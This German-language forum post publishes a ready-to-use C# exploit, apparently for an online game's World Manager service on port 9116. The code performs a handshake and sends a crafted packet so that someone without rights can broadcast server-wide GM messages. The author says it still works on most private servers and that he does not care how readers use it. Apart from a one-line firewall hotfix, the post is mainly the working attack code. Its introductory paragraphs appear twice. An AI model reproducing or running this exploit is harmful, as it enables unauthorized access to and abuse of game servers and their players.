Hab mich dazu entschlossen ein paar alte Dinge publik zu machen, vielleicht hilft es ja interessierten Nutzern sich weiterzubilden oder desgleichen.
Ich fang mal an mit nem schönen alten Exploit, durch den es 2008~2010 möglich war auf offiziellen Servern unter anderem serverweite Nachrichten (auch bekannt als GM Nachrichten, konnte man damals als GM auch ingame mit &n <Nachricht> senden) ohne Rechte zu haben zu senden. Das Ganze geht noch immer auf fast allen privaten Servern, wobei ich nicht sicher weiß, ob es auch unter den neuen Serverfiles klappt.
Das Ganze wurde als fertiges Tool irgendwann um 2010 mal in nem anderen Board gepostet, wobei ich mir jedoch sicher bin, dass der Quellcode bislang nicht publik wurde.
Ihr tut hier eigentlich nicht mehr als nen Handshake und das Paket mit der Nachricht an den World Manager über Port 9116 senden. N kleiner Hotfix dafür wäre zum Beispiel Port 9116 in der Firewall überhaupt nicht zu öffnen.. den nutzt eh nur das OpTool, welches ohnehin nur lokal ausgeführt werden sollte.
Habs euch mal als C# Klasse kopierpastetenfertig aufbereitet:
Das Ganze mit toller Klickibunti-GUI als C#-Projekt findet ihr im Anhang. Kompilieren dürft ihr selbst.
Achja, es ist mir absolut egal was ihr damit tut und wo ihr es repostet, aber bitte behauptet nicht das Ganze käme von euch, danke.
Ich fang mal an mit nem schönen alten Exploit, durch den es 2008~2010 möglich war auf offiziellen Servern unter anderem serverweite Nachrichten (auch bekannt als GM Nachrichten, konnte man damals als GM auch ingame mit &n <Nachricht> senden) ohne Rechte zu haben zu senden. Das Ganze geht noch immer auf fast allen privaten Servern, wobei ich nicht sicher weiß, ob es auch unter den neuen Serverfiles klappt.
Das Ganze wurde als fertiges Tool irgendwann um 2010 mal in nem anderen Board gepostet, wobei ich mir jedoch sicher bin, dass der Quellcode bislang nicht publik wurde.
Ihr tut hier eigentlich nicht mehr als nen Handshake und das Paket mit der Nachricht an den World Manager über Port 9116 senden. N kleiner Hotfix dafür wäre zum Beispiel Port 9116 in der Firewall überhaupt nicht zu öffnen.. den nutzt eh nur das OpTool, welches ohnehin nur lokal ausgeführt werden sollte.
Habs euch mal als C# Klasse kopierpastetenfertig aufbereitet:
Code:
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
namespace GMMessage
{
class GMMessage
{
private Socket sock;
private byte[] buffer;
private IPAddress ip;
private string msg;
private System.Windows.Forms.TextBox textBox;
public GMMessage(string IP)
{
this.ip = IPAddress.Parse(IP);
}
~GMMessage()
{
this.sock.Close();
}
public void SendMessage(string message)
{
this.msg = message;
IPEndPoint remoteEP = new IPEndPoint(this.ip, 9116); //OPTool => World Manager
this.sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
this.sock.Connect(remoteEP);
this.sock.BeginReceive(this.buffer = new byte[1], 0, 1, SocketFlags.None, new AsyncCallback(this.ParseHeader), this.sock);
}
private void ParseHeader(IAsyncResult result)
{
if (this.sock.EndReceive(result) > 0)
{
byte size = this.buffer[0];
this.sock.BeginReceive(this.buffer = new byte[size], 0, size, SocketFlags.None, new AsyncCallback(this.ParseData), this.sock);
}
else
{
//failed :'<
this.sock.Close();
}
}
private void ParseData(IAsyncResult result)
{
if (this.sock.EndReceive(result) > 0)
{
switch (this.buffer[0])
{
case 1:
this.sock.Send(new byte[] { 9, 2, 8, 0, 5, 8, 0, 0, 13, 0 }); //Handshake
goto case 2;
case 2:
this.sock.BeginReceive(this.buffer = new byte[1], 0, 1, SocketFlags.None, new AsyncCallback(this.ParseHeader), this.sock);
break;
case 3:
{
using (MemoryStream output = new MemoryStream())
{
using (BinaryWriter writer = new BinaryWriter(output))
{
//Header
writer.Write((byte)(this.msg.Length + 4));
writer.Write((byte)16);
writer.Write((byte)32);
writer.Write((byte)60);
//Body
writer.Write(Encoding.ASCII.GetBytes(this.msg)); //Message
//Footer
writer.Write((byte)0);
byte[] buffer = new byte[writer.BaseStream.Length];
writer.BaseStream.Position = 0L;
writer.BaseStream.Read(buffer, 0, (int)writer.BaseStream.Length);
this.sock.Send(buffer);
//done
}
}
goto case 2;
}
}
}
else
{
//failed :'<
this.sock.Close();
return;
}
}
}
}
Achja, es ist mir absolut egal was ihr damit tut und wo ihr es repostet, aber bitte behauptet nicht das Ganze käme von euch, danke.